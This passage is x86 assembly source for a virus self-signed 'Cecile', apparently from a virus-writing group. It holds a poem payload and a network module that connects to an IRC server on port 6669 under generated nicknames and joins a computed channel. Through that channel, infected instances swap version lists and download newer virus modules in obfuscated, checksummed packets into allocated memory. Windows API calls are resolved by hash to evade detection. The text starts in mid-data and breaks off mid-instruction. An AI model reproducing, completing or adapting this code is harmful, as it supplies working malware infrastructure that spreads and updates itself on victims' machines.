ptr [esp+20h-4],eax popad ret drawmme: dq 0.125 dq 0.25 drawspeed: dq 0.5 drawthat: dq 0 dq 0 dq 0 drawme: dq 0 dq 0 dq 0 dq 0.50 dq 1.0 rotated: dq 1.0 dq 0.95 dq 180.0 LightPosition: dd 5 dd 0 dd 0 dd 50.00001 dd 0.5 dd 0 dd 1 dd 0 calcpos: dd 0 drawtext: db 07fh, 017h, 080h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 00fh, 040h, 0f7h, 0bfh, 02ah, 0e2h db 0ffh, 07fh, 0fch, 0ffh, 0cfh, 0ffh, 0ffh, 07fh, 0feh, 0ffh, 0ffh, 0efh db 0f9h, 0dfh, 0ffh, 0f3h, 0efh, 063h, 010h, 0ffh, 08fh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 03fh, 0a2h, 0eah, 0ffh, 005h, 0e0h, 0dfh, 0bfh, 0fbh db 0ffh, 0deh, 0ffh, 0dfh, 0ffh, 0feh, 0ffh, 0ffh, 0efh, 0feh, 0e3h, 0ffh db 0edh, 0f1h, 0fdh, 07dh, 0ffh, 07fh, 0ffh, 0ffh, 0ffh, 0e3h, 0ffh, 0f7h db 0bfh, 0ffh, 09fh, 0ffh, 07fh, 07fh, 0feh, 0feh, 0ffh, 0ffh, 0ffh, 01fh db 0fah, 09fh, 0ffh, 0ffh, 0ffh, 0e7h, 03eh, 0efh, 0ffh, 0ffh, 0ffh, 0ffh db 03fh, 000h, 0fdh, 0afh, 0aah, 0f0h, 08fh, 0dfh, 01fh, 0e7h, 0dfh, 0f1h db 08fh, 0ffh, 09eh, 0fch, 087h, 0f7h, 0e1h, 0e5h, 0ffh, 0ddh, 0f2h, 0fdh db 07dh, 0fbh, 0beh, 03fh, 0f0h, 0ffh, 0fdh, 0ffh, 0f7h, 0bfh, 0ffh, 0efh db 0ffh, 07fh, 0bfh, 0ffh, 0feh, 0ffh, 0ffh, 0ffh, 0efh, 0eah, 0bfh, 0ffh db 0ffh, 0ffh, 0efh, 07fh, 0f7h, 0ffh, 0ffh, 0ffh, 0ffh, 07fh, 0a8h, 0aah db 07fh, 017h, 0f0h, 007h, 0dfh, 0efh, 0dah, 0deh, 0eeh, 007h, 0ffh, 0b8h db 0fdh, 0ffh, 0bfh, 0dfh, 0eah, 0f1h, 061h, 0f5h, 0feh, 07eh, 05dh, 0bfh db 0ffh, 0ffh, 0ffh, 0ddh, 0cch, 074h, 03fh, 0f3h, 0cbh, 075h, 04eh, 0beh db 067h, 0c6h, 0f4h, 07fh, 0f8h, 07fh, 0f3h, 03dh, 067h, 0f2h, 099h, 0cdh db 066h, 0d7h, 053h, 033h, 0ffh, 0e1h, 07fh, 040h, 0f7h, 0bfh, 02ah, 0f2h db 08fh, 0dfh, 00fh, 0fbh, 0deh, 0f0h, 08fh, 0ffh, 076h, 07ch, 0f8h, 0dfh db 0dfh, 0f4h, 0ffh, 05eh, 0fah, 0feh, 0beh, 0beh, 0dfh, 0feh, 0c0h, 0ffh db 063h, 047h, 064h, 0beh, 0ebh, 0bdh, 0aah, 076h, 0dfh, 0abh, 046h, 0c7h db 0ffh, 0ffh, 07fh, 0b9h, 0beh, 022h, 0e2h, 0aeh, 0aeh, 0d6h, 087h, 051h db 0d1h, 0ffh, 0ffh, 07fh, 0a2h, 0eah, 0ffh, 005h, 0e0h, 0dfh, 0bfh, 0ebh db 0fbh, 0deh, 0feh, 0dfh, 0ffh, 0d6h, 0fdh, 0ffh, 0dfh, 0efh, 0f8h, 07fh db 06fh, 07ch, 07fh, 0bfh, 05dh, 0dfh, 0feh, 0ffh, 0ffh, 06eh, 077h, 0f7h db 0bdh, 0ebh, 0bdh, 0aah, 076h, 0dfh, 0aah, 076h, 0dfh, 0ffh, 0ffh, 0bfh db 075h, 03fh, 0bah, 0ebh, 0aeh, 08eh, 0d6h, 0dfh, 05dh, 0ddh, 0ffh, 0ffh db 03fh, 000h, 0fdh, 0afh, 0aah, 0e0h, 0ffh, 07fh, 01ch, 006h, 0a1h, 0e1h db 0ffh, 0ffh, 030h, 0feh, 0ffh, 03fh, 070h, 0ffh, 03fh, 0b0h, 0ffh, 018h db 0d8h, 0ebh, 062h, 0ffh, 0ffh, 0ffh, 071h, 0cfh, 04ch, 07eh, 0e6h, 0c3h db 06eh, 0f5h, 03eh, 023h, 04dh, 0c7h, 0ffh, 0ffh, 0cfh, 0aeh, 0beh, 066h db 0e2h, 0ceh, 0a9h, 0d5h, 0dfh, 0b3h, 0d3h, 0ffh, 0ffh, 03fh, 0a8h, 0aah db 07fh, 017h, 080h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0fdh, 0ffh, 0fbh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 00fh, 040h, 0f7h PayCallExit: ;include payload\payload.asm skippayload: add esp,16 popad ret paytext: db 'To see a world in a grain of sand',13,10 db 'And heaven in a flower',13,10 db 'Hold infinite in the palm of your hand',13,10 db 'And eternity in a hour...',13,10,13,10,13,10 db ' A kiss to cecile... ',0 paytitle: db 'Cecile coded by S0/B0[ikx], made in assembly',0 PiSyscall0: db 68h PayloadSyscall: dd offset RoutineHandler ret PayloadEnd: ; ; Net module encapsulater ; CommodStart: dd offset CommodEnd - CommodStart db 1 ; workable system db 1 ; workable payload version dd CommodSyscall - CommodStart dd Commodroutine - CommodStart CSyscall macro I_ID_CoDE mov dword ptr [esp-12], I_ID_CoDE call CSyscall0 endm C_apicall macro crcval, libhandle mov edx,libhandle mov eax,crcval CSyscall MApiCall endm Commodroutine: loadpointer edx,CommodStart loadpointer edx,wsocklib, crt push edx mov ecx,0 mov eax,12 CSyscall LoadLib pop edx cmp eax,0 jne skiploadnet CSyscall registernet cmp eax,0 je skiploadnet mov ecx,1 mov eax,12 CSyscall LoadLib ; call initnetwork sub esp,12 mov edx,esp mov dword ptr [edx],12 mov dword ptr [edx+4],0 mov dword ptr [edx+8],0 loadpointer ebx, netinit, crt1 push esp push 0 push 0 push ebx push 0 push edx P_apicall 0CA2C0A90h,0 ; Create Thread add esp,12 skiploadnet: ret wsocklib: db 'wsock32.dll',0 WM_SOCKET equ 400h+100h hostname db 'eu.undernet.org',0 CClassName db 'ICC',0 CAppName db 'WAp',0 port dd 6669 sock dd 0 AppHandle dd 0 sin: sin_family: dw 0 sin_port: dw 0 sin_addr: dd 0 sin_zero: dq 0 recdata: dd 0 netinit: sub esp,32 loadpointer edx,GetTim, ni11 mov dword ptr [edx],esp sub esp,1024+4 loadpointer edx,recdata, ni12 mov dword ptr [edx],esp sub esp,40 mov ebx,esp mov dword ptr [ebx],0 loadpointer [ebx+4],commproc,cm11 mov dword ptr [ebx+8],0 mov dword ptr [ebx+12],0 push ebx push 0 C_apicall 01017D1A1h,0 ; GetModuleHandle pop ebx mov dword ptr [ebx+16],eax mov dword ptr [ebx+20],0 mov dword ptr [ebx+24],0 mov dword ptr [ebx+28],0 mov dword ptr [ebx+32],0 loadpointer [ebx+36],CClassName, cm12 push ebx C_apicall 0D48A96AAh,1 ; RegisterClassA push 0 push 0 C_apicall 01017D1A1h,0 ; GetModuleHandle push 0 push eax push 0 push 0 push 0 push 0 push 0 push 0 push 0 sub esp,4 loadpointer [esp+4],CAppName, cm13 sub esp,4 loadpointer [esp+4],CClassName, cm14 push 0 C_apicall 7099fb9ch,1 ; CreateWindowEx push eax call initconnect cmp eax,'OKAY' jne skipconnect call layer2init cmp eax,'OKAY' jne skipconnect sub esp,44 mov edi,esp skipbreakit: push 0 push 0 push 0 push 0 push edi C_apicall 03BAC79F3h,1 ; GetMessageA push eax push edi push edi C_apicall 050d9920Ch,1 ; TranslateMessageA C_apicall 05BFFA45Ch,1 ; dispatchMessageA pop eax cmp eax,0 jne skipbreakit skipconnect: loadpointer ebx,sock,t5 push dword ptr [ebx] C_apicall 0F9AAA3C4h,12 C_apicall 0A3498CD8h,12 push 0 C_apicall 790c0575h,0 ; ExitThread commproc: cmp dword ptr [esp+umsgval],01h je returnnullk cmp dword ptr [esp+umsgval],05 je returnnullk cmp dword ptr [esp+umsgval],16 jne skipthisonecomm push 0 C_apicall 07818C6Bh,1 ; PostQuitMessage ret 16 skipthisonecomm: cmp dword ptr [esp+umsgval],WM_SOCKET jne skipnetwork mov eax,dword ptr [esp+lpamval] cmp ax,01h ; FD_READ jne skipnetwork1 cmp eax,0FFFFh ja skipnetwork push 0 push 1024 loadpointer ebx,recdata, comp1 push dword ptr [ebx] loadpointer ebx,sock, comp2 push dword ptr [ebx] C_apicall 80670h,12 ; WSOCK32!recv pushad call layer2interp popad xor eax,eax ret 16 skipnetwork1: cmp ax,20h jne skipnetwork call layer1uninit skipnetwork: push dword ptr [esp+lpamval] push dword ptr [esp+4+wpamval] push dword ptr [esp+4+4+umsgval] push dword ptr [esp+4+4+4+hwndval] C_apicall 23ED6274h,1 ; User32!DefWindowProc jmp returnk returnnullk: xor eax,eax returnk: ret 16 ;include debug\debug.asm initconnect: loadpointer edx,recdata, icn1 mov edx,[edx] push edx push 0101h C_apicall 0A568A8D8h,12 ; WSAStartup cmp eax,0 jne ic_finish1 push 0 push 1 ; SOCK_STREAM push 2 ; AF_INET C_apicall 20AA2E0h,12 ; socket cmp eax,0 ; INVALID_SOCKET je ic_finish2 loadpointer edx,sock,icc5 mov dword ptr [edx],eax loadpointer edx,sin_family,icc3 mov dword ptr [edx], 2 ; AF_INET loadpointer edx,port,ick1 push dword ptr [edx] C_apicall 03C3D18h,12 ; htons loadpointer edx,sin_port,icc4 mov word ptr [edx], ax sub esp,4 loadpointer [esp+4],hostname,icn2 C_apicall 0FB4C7B3Dh,12 ; gethostbyname mov eax,[eax+12] mov eax,[eax] mov eax,[eax] loadpointer edx,sin_addr,icn4 mov dword ptr [edx],eax push 16 sub esp,4 loadpointer [esp+4],sin,icn5 loadpointer edx,sock,icc9 push dword ptr [edx] C_apicall 0E5AC660h,12 ; connect cmp eax, 0 ; SOCKET_ERROR jne ic_finish2 push 1+20h ; FD_READ + FD_CLOSE push WM_SOCKET push dword ptr [esp+4+4+4] ; 1st arg in ; stack loadpointer edx,sock,icc7 push dword ptr [edx] C_apicall 03E7B093h,12 ; WsaAsyncSelect mov eax,'OKAY' ret 4 ic_finish2: push sock C_apicall 0F9AAA3C4h, 12 ; closesocket ic_finish1: C_apicall 0A3498CD8h,12 ; WSACleanup xor eax,eax ret 4 layer1uninit: loadpointer edx,sock,icn91 push dword ptr [edx] C_apicall 0F9AAA3C4h, 12 ; closesocket C_apicall 0A3498CD8h,12 ; WSACleanup coocooom: loadpointer edx,hostname,icn92 cmp word ptr [edx],'ue' jne swapittoeu mov word ptr [edx],'su' jmp swapittous swapittoeu: mov word ptr [edx],'ue' swapittous: pushad pushad push 30000 C_apicall 3126C0h,0 popad push dword ptr [esp+20h+4+4] call initconnect cmp eax,'OKAY' jne coocooom call layer2init popad ret Message1: db 'NICK Cec0000',10 finmes1: db 0 Message2: db 'user Cec0000 "" "" :Cec0000',10 finmes2: db 0 Mes3chk: db 0 Message3: db 'USERHOST Cec0000',10 finmes3: db 0 layer2init: C_apicall 17357e7Ah,0 ; GetTickCount xor eax,'!CeC' xor ebx,ebx mov ecx,4 getitmax: push ecx mov ecx,10 xor edx,edx div ecx mov bl,dl rol ebx,8 pop ecx loop getitmax add ebx,'0000' loadpointer edx,Message1,ly2 ;cmp dword ptr [edx+8],'0000' ;jne skipIdFilling mov dword ptr [edx+8-3],'0ceC' mov dword ptr [edx+8],ebx mov dword ptr [edx+8+Message2-Message1-3],'0ceC' mov dword ptr [edx+8+Message2-Message1],ebx mov dword ptr [edx+23+Message2-Message1-3],'0ceC' mov dword ptr [edx+23+Message2-Message1],ebx mov dword ptr [edx+12+Message3-Message1-3],'0ceC' mov dword ptr [edx+12+Message3-Message1],ebx sub ebx,'0000' and ebx,00FFFFFFh add dword ptr [edx+8-3],ebx add dword ptr [edx+8+Message2-Message1-3],ebx add dword ptr [edx+23+Message2-Message1-3],ebx add dword ptr [edx+12+Message3-Message1-3],ebx skipIdFilling: push 0 push finmes1-Message1 loadpointer edx,Message1,sif76 push edx loadpointer edx,sock,sif1 push dword ptr [edx] C_apicall 818A0h,12 push 0 push finmes2-Message2 loadpointer edx,Message2,sif2 push edx loadpointer edx,sock,sif31 push dword ptr [edx] C_apicall 818A0h,12 ; send mov eax,'OKAY' ret layer2interp: loadpointer esi,recdata,ly2int mov esi,dword ptr [esi] layer2interp1: push eax lly2: cmp dword ptr [esi],'GNIP' jne notpong mov byte ptr [esi+1],'O' call getendofline mov word ptr [esi+eax-2],0Ah dec eax push eax push 0 push eax push esi loadpointer edx,sock,sif9 push dword ptr [edx] C_apicall 818A0h,12 ; send pop eax mov word ptr [esi+eax-1],0A0Dh loadpointer edx,Mes3chk,ly114 cmp byte ptr [edx],0 jne skipitMes3 push edx push 0 push finmes3-Message3 loadpointer edx,Message3,sif8 push edx loadpointer edx,sock,sif99 push dword ptr [edx] C_apicall 818A0h,12 ; send pop edx inc byte ptr [edx] ; elle reflŠte l'‚tat de mon esprit ; viscicitude et aspiration mat‚rielle d‚chue ; n'est que frustration une vie bient“t ‚teinte... call InitManage skipitMes3: notpong: call Managing loadnextline: pop eax getnextline: cmp eax,-1 je finishloading inc esi dec eax cmp word ptr [esi-2],0A0Dh jne getnextline cmp eax,0 jne dontfinishloading finishloading: ret dontfinishloading: jmp layer2interp1 getendofline: xor eax,eax getendofline1: inc eax cmp word ptr [esi+eax-2],0A0Dh jne getendofline1 ret ; ; Multi layer networking: ; ; ; Layer 1 - Wich call winsock functions in order to connect and receive ; sent datas as they arrive ; ; Layer 2 - initialise and interprete the protocol used in layer1 ; - Interprete data from Layer 3 and send to layer 1 ; ; Layer 3 - load data from Layer 2 and interprete for Layer 4 ; Interprete data from Layer 4 and send to layer 2 ; ; Layer 4 - interprete and send data to Layer 2 ; manage communication between two virus hinstances and ; display their module list version, then ask if any module ; need to be updated ; ; Layer 5 - exchange module connection, have packet checksum, divide ; packet, encryption, end crc check and resend operation ; aivable, have also a ping timeout check, don't flood ; (limited to 200 byte/s). Well, module are limited to 8192 ; kilobytes ; cecuser dd 0 message4 db 'JOIN ' channel db '#000000',0Ah finmes4 db 0 GetTim dd 0 InitManage: loadpointer edx,GetTim,Im1 push dword ptr [edx] push dword ptr [edx] C_apicall 0B50DB39h,0,IM1 GetSystemTime pop edx movzx eax,word ptr [edx] movzx ecx,word ptr [edx+6] inc ecx shr ecx,3 inc ecx xor edx,edx div ecx xor ebx,ebx mov ecx,4 gettimnot: push ecx xor edx,edx mov ecx,10 div ecx rol ebx,8 mov bl,dl pop ecx loop gettimnot add ebx,'0000' push edx loadpointer edx,message4,Im2 mov dword ptr [edx+6],ebx ; get year pop edx push edx loadpointer edx,GetTim,Im9 mov edx,dword ptr [edx] movzx eax,word ptr [edx+2] ; get month movzx ecx,word ptr [edx+6] shr ecx,3 inc ecx xor edx,edx mul ecx pop edx mov ecx,10 xor edx,edx div ecx mov ah,dl add ax,'00' push edx loadpointer edx,message4,Im3 mov word ptr [edx+6+4],ax ; get month pop edx push 0 push finmes4-message4 loadpointer edx,message4,Im5 push edx loadpointer edx,sock,Im4 push dword ptr [edx] apicall 818A0h,12 ; send ret Managing: mov byte ptr [esi+eax],0Ah push esi Managing1: ;cmp dword ptr [esi],'ORRE' ;jne checkpriv2aa ; ;checkpriv2aa: ; ;cmp dword ptr [esi],'solC' ;jne checkpriv2bb ; ;checkpriv2bb: cmp dword ptr [esi],'NIOJ' jne checkpriv call layer3init checkpriv: cmp dword ptr [esi],'VIRP' jne analismess2 cmp dword ptr [esi+4],' GSM' je analismess analismess2: inc esi cmp byte ptr [esi],0Ah jne Managing1 pop esi ret analismess: mov eax,dword ptr [esp] ; hardcoded and added push edx mov edx,dword ptr [eax] mov eax,dword ptr [eax+4] ; just for cecile communication sub eax,'0000' and eax,00FFFFFFh rol eax,8 sub eax,edx neg eax pop edx cmp eax,'ceC:' jne setzeroit mov eax,dword ptr [esp] ; hardcoded and added mov eax,dword ptr [eax+4] ; just for cecile communication jmp storeit setzeroit: mov eax,0 storeit: loadpointer edx,cecuser,sto1 mov dword ptr [edx],eax setzeroka: add esi,8 call layer3 pop esi ret channelsend: sub esp,8+7+1+1 ; - 17 sub esp,ecx ; - 4 mov edi,esp mov ebx,edi push ecx ; - 4 push ecx ; - 4 push ecx ; - 4 mov dword ptr [edi],'VIRP' mov dword ptr [edi+4],' GSM' loadpointer esi,channel,im6 add edi,8 mov ecx,7 rep movsb mov byte ptr [edi],' ' inc edi pop ecx ; +4 doitnow: mov esi,edx rep movsb mov byte ptr [edi],0Ah pop ecx ; +4 add ecx,8+7+1+1 push 0 push ecx push ebx loadpointer edx,sock,im7 push dword ptr [edx] C_apicall 818A0h,12 pop ecx ; +4 add esp,ecx ; +4 add esp,8+7+1+1 ; +15 ret usersend: ;7*6 sub esp,8+7+1+1 ; - 17 sub esp,ecx mov edi,esp mov dword ptr [edi],'VIRP' mov dword ptr [edi+4],' GSM' mov dword ptr [edi+8],' ceC' mov dword ptr [edi+8+3],eax sub eax,'0000' and eax,0FFFFFFh add dword ptr [edi+8],eax mov byte ptr [edi+8+3+4],' ' mov ebx,edi push ecx push ecx add edi,8+7+1 jmp doitnow ; ; Layer 3 protocol, wich make the layer 4 working ; ; ; if something come from the channel, translate it ; Remote db '0000' ActualSet db 0 layer3init: pushad loadpointer edx,ActualSet,ly000 ; load actual set cmp byte ptr [edx],0 ; if we are not in ja dontmakeit ; zero mode, dont init mov byte ptr [edx],1 ; mov ecx,12 sub esp,ecx mov edx,esp mov edi,edx mov dword ptr [esp],'A100' ; send free mode push ecx loadpointer ecx,Message1, ly3 mov ecx,dword ptr [ecx+8] mov dword ptr [esp+8],ecx pop ecx call channelsend8 add esp,12 dontmakeit: popad ret layer3: ; extra_ ;call layer4pingdetect ; extra_ loadpointer edx,ActualSet, ly1 ; cmp byte ptr [edx],3 ; if we are in je awayfromit ; private mode cmp byte ptr [esi],'#' jne notfromchannel ; if we are not in chan incrementit: inc esi cmp byte ptr [esi],0Ah je notfromchannel ;cmp dword ptr [esi],'XGSM' ; little hello to asmod :] ;jne noquit ; ;push 0 ;call ExitProcess noquit: loadpointer edx,ActualSet, ly22 ; load the set cmp byte ptr [edx],3 ; we are not in step 2 je incrementit ; of communication cmp dword ptr [esi],'D100' jne notBBreply call checkconfirmation12 jc notBBreply mov eax,dword ptr [esi+4] ; confirmation received loadpointer edx,Message1, ly377 cmp eax,dword ptr [edx+8] jne skipthisline ; check if we have the same ; user than our mov eax,dword ptr [esi+8] ; load remote user loadpointer edx,Remote, ly4 ; save it there mov dword ptr [edx],eax call layer4init ; initalizing virus virus ; transfer loadpointer edx,ActualSet, ly5 mov byte ptr [edx],3 ; set actual set skipthisline: ret notBBreply: cmp dword ptr [esi],'C100' ; watch if we have a free jne notBreply ; confirmation call checkconfirmation12 jc notBreply ; confirmation loadpointer edx,Message1,ly3107 mov edx,dword ptr [edx+8] cmp dword ptr [esi+4],edx jne skipBBreply push esi push edi mov ecx,16 ; set it sub esp,ecx ; we received it mov edi,esp mov edx,esp mov dword ptr [edx],'D100' ; and then, we confirmed it mov eax,dword ptr [esi+8] ; it's our mov dword ptr [edx+4],eax loadpointer ebx,Remote, ly6 mov dword ptr [ebx],eax ; set the remote loadpointer ebx,Message1,ly7 mov eax,dword ptr [ebx+8] ; my mov dword ptr [edx+8],eax ; load our ID call channelsend12 ; send it loadpointer edx,ActualSet,ly8 mov byte ptr [edx],3 ; set state add esp,16 pop edi pop esi ; finish skipBBreply: ret notBreply: cmp dword ptr [esi],'B100' ; check if replied my ask jne notM2communication ; call checkconfirmation12 jc notM2communication ; loadpointer edx,ActualSet,ly3105 cmp byte ptr [edx],2 jae skipBreply loadpointer ecx,Message1, ly3152 mov ecx,dword ptr [ecx+8] cmp dword ptr [esi+8],ecx jne skipBreply mov ecx,16 sub esp,ecx mov edi,esp mov dword ptr [edi],'C100' push ecx loadpointer ecx,Message1, ly3155 mov ecx,dword ptr [ecx+8] mov dword ptr [edi+8],ecx pop ecx mov eax,dword ptr [esi+4] mov dword ptr [edi+4],eax mov edx,edi call channelsend12 loadpointer edx,ActualSet,ly3187 mov byte ptr [edx],2 add esp,16 skipBreply: ret notM2communication: cmp dword ptr [esi],'A100' ; load Hello jne incrementit call checkconfirmation8 jc incrementit call checkoneA jnc incrementit push edi mov ecx,16 ; reply confirmation sub esp,ecx mov edi,esp push edi movsd inc byte ptr [edi-1] loadpointer edx,Message1,ly9 ; set the message mov eax,dword ptr [edx+8] ; put our ID with 001B mov dword ptr [edi],eax mov eax,dword ptr [esi] mov dword ptr [edi+4],eax pop edi mov edx,edi call channelsend12 ; send to chan add esp,16 pop edi notfromchannel: ret awayfromit: cmp byte ptr [esi],'#' ; if we have a # je incrementit push edx loadpointer edx,Remote,ly10 ; then check who is the remote mov eax,dword ptr [edx] loadpointer edx,cecuser,ly11 ; load the user cmp dword ptr [edx],eax pop edx jne notfromchannel add esi,6+2+1 ; call layer4input ; set the layer ; layer 4 in action now! ret directinput: push edx loadpointer edx,Remote,ly12 ; load the remote mov eax,dword ptr [edx] pop edx call usersend ; and sun to user ret layer3to4uninit: loadpointer edx,ActualSet,ly34195 mov byte ptr [edx],1 ; return to an idle mode ret channelsend12: pushad mov edx,8 jmp bifurcation1 channelsend8: pushad mov edx,4 bifurcation1: mov ecx,edx loadpointer ebx,Message1+8,ly3289 mov ebx,dword ptr [ebx] getcrcvalthat: xor bx,word ptr [edi+ecx+1] ror ebx,1 add ebx,[edi+ecx] loop getcrcvalthat mov ah,bh mov al,ah and al,0F0h and ah,00Fh ror al,4 add ax,'AB' mov word ptr [edi+edx+4],ax mov ah,bl mov al,ah and al,0F0h and ah,00Fh ror al,4 add ax,'CD' mov word ptr [edi+edx+6],ax popad call channelsend ret checkconfirmation12: pushad mov edx,8 jmp chochoconf12 checkconfirmation8: pushad mov edx,4 chochoconf12: push dword ptr [esi+edx+4] mov ecx,edx loadpointer ebx,cecuser,ly334 mov ebx,dword ptr [ebx] getcrcvalthat1: xor bx,word ptr [esi+ecx+1] ror ebx,1 add ebx,[esi+ecx] loop getcrcvalthat1 mov ah,bh mov al,ah and al,0F0h and ah,00Fh ror al,4 add ax,'AB' ror eax,16 mov ah,bl mov al,ah and al,0F0h and ah,00Fh ror al,4 add ax,'CD' ror eax,16 pop edx cmp eax,edx jne notnothing mov eax,-1 notnothing: sub eax,-1 popad ret checkoneA: pushad C_apicall 17357e7Ah,0 ; GetTickCount and eax,11b cmp eax,11b jne dothat loadpointer edx,ActualSet,ly3415 ; load actual set cmp byte ptr [edx],2 jae dothat mov byte ptr [edx],0 ; reset it call layer3init mov eax,-1 dothat: sub eax,-1 popad ret ; ; this is layer4 init ; ; direct input: Call back function each time ; ; 0: connection termination ; ; Serv 1: Intercommunication Ok, I'm server! ; Client 2: Client initialisation ok, process to data ; Serv 3: Data directory ( 4 byte of directory ) ; Client 4: Download X, if none interresting apply 1 ; ; then 1 switch Client to server, if the server have already processed ; a one, then ; ; pingcounter dd 0 uploadinput db 0 onepassonly db 0 layer4init: mov cl,'1' call minisend call setpingcnt mov word ptr [edx+4],0 ; nullfify upload input mov byte ptr [edx+5],1 ret layer4uninit: call setpingcnt mov dword ptr [edx],0 ; nullfify upload input mov word ptr [edx+4],0 ; nullfify upload input call layer3to4uninit call checkoneA ret ;layer4to5uninit: ; layer 5 is independent of ; ; layer 4 as it's a ; ; continuation, then it's void! ;ret minisend: sub esp,1 mov edx,esp ; cl = ascii code mov byte ptr [edx],cl ; send unique letter/number ; to the input mov ecx,1 call directinput ; send the char add esp,1 ret layer4input: call setpingcnt ; set the ping counting cmp byte ptr [esi],'0' jne otherthing0 call layer4uninit ret otherthing0: cmp byte ptr [esi],'1' jne otherthing mov cl,'2' call minisend ; is 1 detected ? ret otherthing: cmp byte ptr [esi],'2' ; confirmation received ? jne otherthing2 CSyscall getvirversion ; send the version add eax,'0000' ; send version mov ecx,5 sub esp,ecx mov edx,esp mov byte ptr [edx],'3' ; set data directory mov dword ptr [edx+1],eax call directinput ; then add esp,5 ret otherthing2: cmp byte ptr [esi],'3' ; module directory received ? jne otherthing3 CSyscall getvirversion mov edx,dword ptr [esi+1] sub edx,'0000' ; load the version directory ; normally rol edx,8 rol eax,8 mov ecx,4 getit: cmp dl,al ; jbe skipgettingithigh ; if new version <= our mov al,cl ; no, then we have what dec al ; we are seeking for loadpointer ecx,uploadinput,ui1 mov byte ptr [ecx], al ; set the upload input add al,'0' ; mov ecx,2 sub esp,ecx ; load mem from stack mov edx,esp mov byte ptr [edx],'4' ; ask for module with ID 4 mov byte ptr [edx+1],al call directinput ; set it! add esp,2 jmp finishloop skipgettingithigh: rol eax,8 ; load next our version rol edx,8 ; load next remote version loop getit loadpointer edx,uploadinput, sgth131 ; set the upload input cmp byte ptr [edx+1],1 jne processallokay mov cl,'0' ; send close commumincation call minisend call layer4uninit ret processallokay: mov byte ptr [edx+1],1 mov cl,'1' call minisend finishloop: ret otherthing3: cmp byte ptr [esi],'4' jne otherthing4 mov al,byte ptr [esi+1] loadpointer edx, uploadinput,ot3 sub al,'0' mov byte ptr [edx],al call layer5init ret otherthing4: call layer5 ret setpingcnt: loadpointer edx, pingcounter,ly4i pushad mov esi,edx C_apicall 17357E7Ah, 0 ; GetTickCount mov dword ptr [esi],eax popad ret layer4pingdetect: pushad C_apicall 17357E7Ah, 0 ; GetTickCount loadpointer edx, pingcounter,ly4i210 mov edx,[edx] cmp edx,0 je skipthisoneone sub eax,edx cmp eax,25000 jb skipthisoneone call layer4uninit skipthisoneone: popad ret ; ; layer 5, packet exchanging ; ; Server 5: Packet - Checksum - Size (100 byte sec) - Datas ; Client 6: - Acknowledge - Packet ; Client 7: - Negative Acknowledge, resend ; ; Serveur 8: Packet end - Crc of the module ; Client 9: uninit layer 5 ; ; Server: uninit layer5 , then reply 1 ; destbuffer dd 0 layer5init: mov ecx,0 ; send packet ? call sendpacket ret layer5: cmp byte ptr [esi],'5' ; compare if we received jne returnlayer5 ; packet start message loadpointer edx,destbuffer,k1 cmp dword ptr [edx],0 ; check that the edx = 0 jne skipgetbuffer push edx push 4 ; PAGE_READWRITE push 1000h push modulesize push 0 C_apicall 0A2F83D2Ah,0 ; VirtualAlloc pop edx mov dword ptr [edx],eax ; set memory allocating skipgetbuffer: push edx mov ebx,dword ptr [esi+1] ; get dword at esi+1 call hex2val mov ecx,50 ; calculate pos in buffer xor edx,edx mul ecx ; multiply it pop edx mov edx,dword ptr [edx] ; load destination buffer lea edi,[edx+eax] ; esi equal position in the ; buffer push esi push edi add esi,7 mov ecx,50 ; drop 50 characters copythatnow: mov ax,word ptr [esi] ; load the ascii add esi,2 call ascii2hex ; set it to minus caracter sub al,cl xor al,66 inc al rol al,cl mov byte ptr [edi],al ; drop to buffer the caracter inc edi loop copythatnow ; copy all the buffer pop edi pop esi mov ax,word ptr [esi+5] ; load the checksum call ascii2hex mov bl,al ; translate it to byte xor eax,eax ; eax will receive the crc mov ecx,50 ; copythatnow2: add al,byte ptr [edi] ; load each byte ror al,1 inc edi loop copythatnow2 ; dumb little checksum I know mov ecx,dword ptr [esi+1] ; check if the crc are ; similar, if so, no prob cmp al,bl je noproblem99 ; if crc different, then ; resend it sub esp,5 ; load small amount of memory mov edx,esp ; mov byte ptr [edx],'7' ; set resend_packet jmp minisendit noproblem99: sub esp,5 ; mov edx,esp ; mov byte ptr [edx],'6' ; set send_next_packet minisendit: mov dword ptr [edx+1],ecx ; set current packet mov ecx,5 call directinput ; send it directly add esp,5 returnlayer5: cmp byte ptr [esi],'6' ; check if received message jne returnlayer6 ; is 6 mov ebx,dword ptr [esi+1] ; load send next message call hex2val mov ecx,eax pushad mov ecx,50 xor edx,edx mul ecx ; calculate next pointer push eax loadpointer ecx,uploadinput,rl55 ; load current uploading movzx ecx,byte ptr [ecx] ; CSyscall getmodpointer ; load the module pointer mov edx,eax ; mov ecx,dword ptr [edx] ; load module size add ecx,50 ; get next pop eax ; cmp if next packet ; overrun cmp eax,ecx jb skipdithis ;int 3 ; yes ? mov ecx,dword ptr [edx] ; load this packet size sub ecx,4 ; minus 4 xor ebx,ebx ; getthatitit: xor ebx,dword ptr [edx] ; load byte rol ebx,5 inc edx loop getthatitit ; check all of it sub esp,9 mov edx,esp mov byte ptr [edx],'8' ; set crc check mark inc edx mov ecx,4 getthatitit2: mov 